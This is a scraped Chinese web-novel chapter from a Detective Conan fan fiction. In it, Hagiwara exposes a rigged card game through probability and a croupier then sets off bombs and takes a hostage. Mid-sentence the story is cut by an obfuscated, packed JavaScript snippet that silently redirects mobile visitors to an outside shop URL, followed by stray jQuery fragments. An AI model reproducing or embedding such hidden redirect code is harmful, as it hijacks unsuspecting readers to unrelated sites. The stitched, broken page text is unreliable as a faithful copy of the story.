文趣网 > 都市小说 > 柯学恋爱传记 > 18. 赌局
    赌局已经进入白热化,黄毛五局之中只有一次拿到散牌,其他时候都是对子以上。

    萩原研二输光了筹码。

    堀田苍生看完热闹,正要起身,荷官开始收拾残局,忽听萩原研二冷不丁道:“可以赊账吗?”

    荷官下意识道:“不……”

    “嘿,”黄毛得意极了,一听这话心领神会,嘿嘿笑道,“玩出滋味来了?”

    萩原研二很自然地应和。

    “我知道你不甘心,赌局嘛,赌得不仅是钱,还是刺激。”黄毛嘚瑟地抖腿,“不过你是玩出滋味了,我可没有,这种小赌局对我来说一点意思没有,知道吧?”

    萩原研二:“那要怎么刺激?”

    黄毛:“这样,我先拿两百码借你,咱们玩两万底的。”

    “不是……”荷官连忙摆手,说话却气短,憋红了脸才道,“没这个必要……”

    “你管什么?”黄毛呛他,“坐几年牢给你坐失忆了?荷官的规矩都忘了!”

    荷官畏惧地瑟缩一下。

    萩原研二:“你有多少筹码?”

    黄毛得意道:“两千万,怎么?”

    萩原研二:“你说追求刺激,有两千万,却只拿两百万筹码跟我打,这能刺激什么?我看也没什么意思。”

    黄毛琢磨了一会:“那你想怎样?”

    萩原研二:“公平些,我借庄家两千万,咱们来二十万底注。”

    黄毛瞪眼:“你疯啦?”

    这场面足够大胆刺激,场外一片叫好欢呼。

    “追求刺激嘛,不是你说的?”萩原研二笑起来,浅紫的眸子一弯,显出些风流随性的味道。

    周围有女孩担心地吸气,也有大声的加油打气,惹来更强烈的起哄。

    黄毛跳脚道:“都别吵!”,才哼了一声:“行。”

    反正他不可能输。

    果然,不过十几局过后,萩原研二已输得只剩一千万。

    又一局开始,黄毛迫不及待地开牌,忍不住挑衅地看他一眼。

    萩原研二安抚地朝场外女生们眨眨眼,黄毛呸了一声:“死孔雀!”

    萩原研二笑道:“看来你拿到了一手好牌。”

    黄毛直接下注一百万,得意扬头:“你就看着吧。”

    萩原研二又没看牌,选择跟注。

    他问:“你有算过我们一共打了多少把吗?”

    黄毛愣了一下,对突然开始聊天的节奏猝不及防:“……二三十轮吧,反正没多少。”

    “二十六局,”萩原研二点点桌子:“我们不过两人成局,从开始打到现在,也才过了三十四分钟,不算我们之前聊闲的时间,平均一把也就一分钟左右。”

    黄毛警惕道:“你想说什么?”

    同时手上赶紧加注,手速飞快。

    “这种游戏讲究刺激,节奏又快,一轮的牌型往往只在开牌的时候才会在观众脑海里停留个几秒的印象,何况一副牌除去大小王,每组都有四个相同的数字,这就给人一种很容易出现对子的感觉,偶尔再出现个顺子,金花,甚至豹子,好像都不足为奇。”

    萩原研二道:“但其实如果仔细算一下,一人拿到对子以上牌型的概率不过百分之二十五,两人也才百分之四十左右,是不是?”

    黄毛下意识道:“这么了解?之前玩过?”

    萩原研二笑着摆手:“没有,不过随便算算。我算对了吗?”

    黄毛:“我怎么知道?老子又没算过。”

    他不耐道:“到底还打不打?”

    萩原研二:“我全下。”

    !!

    黄毛低头一看,萩原研二真把手上的一千万筹码全下了。

    黄毛:“你你你!”

    黄毛再三低头,从头到脚里里外外重新确认了一遍自己的牌,话都说不明白:“你、你不会真疯了?!”

    场外开始欢呼:“我靠!”

    “厉害!!”

    有人忍不住骂:“傻叉!”

    背景音乐应景一样猛地炸裂起来。

    萩原研二笑道:“你可能没听明白,你看,观众越容易忽略的地方,就越方便浑水摸鱼,他们大概也没算过,我们一共玩了二十六轮,你手里出现对子以上的牌型就有十八轮,其中还有一把顺金,两把金花。”

    黄毛终于反应过来:“你大爷的说我作弊?你有什么证据?!”

    “现在还没有,”萩原研二若无其事,“轮到你了。”

    黄毛很想潇洒地将筹码扔到桌上,再开牌让这嚣张的家伙好看。

    但萩原研二神色自若地站在他面前,一副底气十足的模样。

    他突然有点迟疑。

    “跟他玩!打死他!”

    “上啊,这家伙不会怂了吧!”

    “靠,你这家伙到底在嘴硬什么!”黄毛急了,直接加注到底,“开牌!我这副牌根本就不可能输!”

    他把牌“啪”的翻开,是一手豹子。

    全场瞬间惊呼。

    押了黄毛的赌徒大笑:“哈哈赢了!赢了!我看这家伙怎么嚣张!”

    黄毛昂头:“翻牌啊。”

    萩原研二思索片刻:“如果我没算错,单人抓到豹子的概率不到百分之零点五。”

    黄毛:“呸!我管你什么破概率。”

    “而豹子之后刚好能拿到压制其的……”

    萩原研二笑着翻开手中的牌,“二三五,概率不过万分之一。”

    二三五。

    萩原研二面前的桌面上的牌,不大不小,刚好二三五。

    萩原研二状似苦恼道:“我从刚才就一直在想,这种几乎不可能出现的规矩实在太奇怪了,简直就像是特意为了作弊而设定的一样呢。”

    周围突然沉默,随后发出爆鸣般的喧哗。

    黄毛呆住了:“不可能!”

    转头给荷官来了一拳:“你和他合伙骗我是不是?!”

    又被萩原研二擒住手腕:“我可没和他通气。”

    荷官呆滞地望着手里的牌,没什么反应:“不……”

    押注输了的众人愤怒乱喊。

    “骗人!你们这群人作弊!”

    “我早就知道你们在骗人!退钱!”

    “早就知道你还押?”

    “呸!你要知道你不押?”

    “……你们原来全都在骗人!”反应过来的人怒骂,“还好意思要退钱,我才是被骗的那个!”

    人群中趁乱向黄毛扔了一罐可乐瓶:“去死吧骗子!”

    有人趁乱开始去抢桌上的筹码。

    整个包厢顿时乱了起来。

    暴乱声一时掩盖了震天响的音乐。

    际青看了眼醉得不省人事的堀田苍生,拿起遥控将背景乐关了。

    手却忽然被人抓住,拽着他远离人群。

    大门突然被撞开,一群人猛地闯进来:“警察!都别动!”

    “等……”萩原研二脸色一变,当机立断大步往人群跑,还是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674904|207443||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    没来得及阻止,一声震响砰地炸开,整个房间都晃了晃,无数灯光刹那湮灭。

    伸手不见五指的黑暗中,警察的枪没了瞄准的目标,本来被震慑的人群又开始骚动。

    警察赶紧打开警用手电和武器灯。

    警察中有人呵斥:“怎么回事?爆破组还没排查干净?”

    收到消息的手下回复:“报告!这里的电力系统结构复杂,还没来得及检查,但周围人群已经疏散完毕,没有人受伤!”

    还没等萩原研二松一口气,有人突然崩溃大喊:“都别过来!”

    一道强光闻声射来,际青忍不住眯起眼,某个尖锐的东西抵住他的脖颈,引来说不出的刺痛。

    又是一阵炸响,前方警察忙道:“请冷静点!”

    际青别开脸,抬头看到一脸怨恨的荷官。

    荷官带着他一步步后退,声音嘶哑怨毒:“就是因为有你们这群可恶的警察,不然我怎么会沦落到这个地步!”

    “还有你!”借着反光,他猛地看向试图靠近的萩原研二,“别过来!你这个把自己人生搭进赌局的家伙,借钱的时候到底有没有想过你的家人啊!”

    萩原研二停下脚步,举起手无奈道:“……我道歉,实在不好意思。”

    堀田苍生被炸弹和男男女女的哭声吵得酒都醒了,囔着“怎么回事?”,一群男女窝在他怀里委屈地想要讨个说法,七嘴八舌吵个不停。

    荷官突然又摸出一把小刀扔过去,刚好扔到堀田苍生头顶的沙发,年轻人们吓了一跳,慌忙躲开。

    堀田苍生也吓得抖了一抖,认清是谁扔的刀后怒目而视:“你敢这么对我!”

    “保安!保安呢!”他把刀子拔下来往地上用力一甩,“让保安给我滚过来!”

    警察忍无可忍:“先生!请您认清现实,现在你面前的是个穷凶极恶的炸弹犯!”

    “炸弹犯?”堀田苍生一愣,哈哈大笑,“就他?”

    一把刀又猛地刺来,砸进堀田苍生的□□。

    堀田苍生猛地打了个冷颤,酒醒了。

    荷官一脸怨毒遗憾。

    “你这个人,你们这些人就不该活在这个世上,还有你们这群吃干饭的警察!”他惨然一笑,“如果我不弄出点热闹,你们根本就不会来这里吧,这个地方已经烂透了!”

    “痛……”际青冷不丁道,“你在监狱也这么忏悔吗。”

    他的脖子被刀架住,却面色平静,连声音都依旧清清冷冷,没有透出丝毫在这个局面下应该出现的颤抖与害怕。

    “我是被迫的!”荷官吼道,“你不知道那群警察在我面前是非不分的蠢样有多搞笑,他们明明就被一个罪犯玩弄于鼓掌,还一副以为立了大功的样子,哼。”

    他按下按钮,又是一颗炸弹爆炸,天花板上砖尘碎裂散落。

    惊慌的人群尖叫。

    “请等一等!有话好好说!”警察高喊。

    际青冷眼看着,说:“我有点冷。”

    荷官抵住他脖子的手用力:“别说话!”抬头狠厉道:“你们这群警察,不要过来!不然我一定要跟你们同归于尽!”

    际青穿着长款的米白风衣,刚刚开着暖气时就没脱下,现在暖气一停,更是冷的脸色发白。

    他说:“那你真倒霉。”

    荷官:“你到底要干什么!”

    际青低笑一声,不紧不慢拿出一颗荷官十分眼熟的不规则球状体:“它一直没动静,是不是很遗憾,现在还没能如愿?”